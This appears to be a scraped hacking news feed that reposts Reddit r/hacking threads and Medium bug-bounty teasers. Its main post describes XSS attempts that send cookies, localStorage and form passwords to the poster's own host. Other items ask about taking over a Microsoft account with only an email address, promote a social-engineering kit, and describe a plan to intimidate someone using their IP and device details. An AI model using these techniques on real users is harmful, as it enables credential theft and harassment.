hacking: security in practice
How did LE catch U-Admin mastermind from seizing the DarkMarket and its servers?

https://external-preview.redd.it/LDInvIHoxgDNoxkrzZdZJVtNzV3r2TiUtfg2Jdl1yAw.jpg?width=320&crop=smart&auto=webp&s=e0c31b9f78a6904306af60b00f045f6b2e700cf5 submitted by /u/DrDankHaze
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
XSS Assistance

I'm working on a problem/puzzle where there's an XSS vulnerability and I can send a "user" an XSS payload which they will click on (it automatically visits the link as soon as it's sent), and the goal is to obtain a login password on the page that the XSS vulnerability is on. However I'm having a lot of issues figuring out how to do this, so I'm hoping someone may be able to point me in the right direction for other XSS avenues I have not checked.

So far, this is what I've done:

* Sending document.cookie back to myself (e.g. http://my-site/?c=+document.cookie )
* No cookies are appended to the image, however if I manually visit the site with cookies in my browser I can confirm that it will send back cookies.

* Sending localStorage back to myself
* Nothing comes back, but I have been able to confirm that if there were localStorage, it would be sent back

* Sending the page contents back to myself via the same method as the above two, inside a "setTimeout()" to let the page load
* The page is sent back to me, but it only contains the general page where it expects a password, not the actual contents

* Read the value from the password input and send it back to me, inside a "setTimeout()", hoping that maybe the password is auto-populated
* Request comes back to me but with no password

* Update the to point back to me, so when the user submits the form (and the password) I obtain it
* Never receive a callback, so the user never actually submits the form

* Update the and submit it myself, to send back any populated passwords
* Successfully receive a callback, but password is empty

* Update the to have a secondary payload, then submit the form, secondary payload should pass cookies back to me
* Once the is submitted, the password was not populated, so it just received an incorrect password error.

* Using beef-xss to hook into the page and send details back to me
* The automated script never seems to get picked up by beef-xss, so I wasn't able to get any info from this.
The above is what I've tried so far without success, are there any other avenues or things that I could look into?

submitted by /u/Driagan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Bypassing LFI (Local File Inclusion)

LFI (Local File Inclusion) allows an attacker to expose a file on the target server. With the help of directory traversal(../) we can…Continue reading on Medium »
Read more...

Open Redirect to Account Takeover
https://z3r0tru5t.medium.com/open-redirect-to-account-takeover-f1405cbdf2d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Bypassing Rate Limit ( using Timestamp )
https://karanxarora.medium.com/bypassing-rate-limit-using-timestamp-b41291859457?source=rss------bug_bounty-5

This write up is divided into following sections :Continue reading on Medium » (https://karanxarora.medium.com/bypassing-rate-limit-using-timestamp-b41291859457?source=rss------bug_bounty-5)

Behind the Scene: XSS?
https://anonyethical3067.medium.com/behind-the-scene-xss-6a7ff5559b54?source=rss------bug_bounty-5

Hey Cyberpunks , I hope you all are doing great in your life and if not, then you are at the right place to at least remove the queries of…Continue reading on Medium » (https://anonyethical3067.medium.com/behind-the-scene-xss-6a7ff5559b54?source=rss------bug_bounty-5)

Hacking on Medium
Open Redirect to Account Takeover

https://cdn-images-1.medium.com/max/829/1*mW5rDI_xpTnUVwxSXMad8A.png
Hi Everyone, this is a very first article from us. First of all, we would like to introduce ourselves. We are z3r0tru5t, a group of…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Crypto-Beat Down Number 2

https://cdn-images-1.medium.com/max/2600/0*mc5zlUiOeghIwuHY
My second run of bad luck with Crypto-Currency

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Behind the Scene: XSS?

Hey Cyberpunks , I hope you all are doing great in your life and if not, then you are at the right place to at least remove the queries of…Continue reading on Medium »
Read more...

Neptune Mutual Bug Bounty Program

Neptune Mutual platform explores new avenues to creating user-centric hedging products on the blockchain. We aim to attract a steady user…Continue reading on Medium »
Read more...

hacking: security in practice
Just wondering

Is there anyway too take someone’s Microsoft account with just knowing there email address and not password

submitted by /u/Iifu
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
SE DOPPP KIT - a social engineering kit with 5 modules and lots of tools

https://external-preview.redd.it/9gy645wxmfzP4kG-qB0kekBZv8UiMuYJMtoajgCXN7I.jpg?width=640&crop=smart&auto=webp&s=b4515f0c5fc950747aa1749485f40f53bbd46472 submitted by /u/TorchedXorph
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
cuaght a pedo

i kniq this dosnt have much to do with hacking. i led on a pedo and got his ip and what phone he is using and all that jazz, i wanna scare the shit out of him by making him think im a pedo hunting orginzation. i have all his info so it will sound rly legit i mean imagine if a stranger on the internet could tell you what phone your using rn

submitted by /u/DismalPublic
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Neptune Mutual Bug Bounty Program
https://neptunemutual.medium.com/neptune-mutual-bug-bounty-program-1ce56466ab9b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video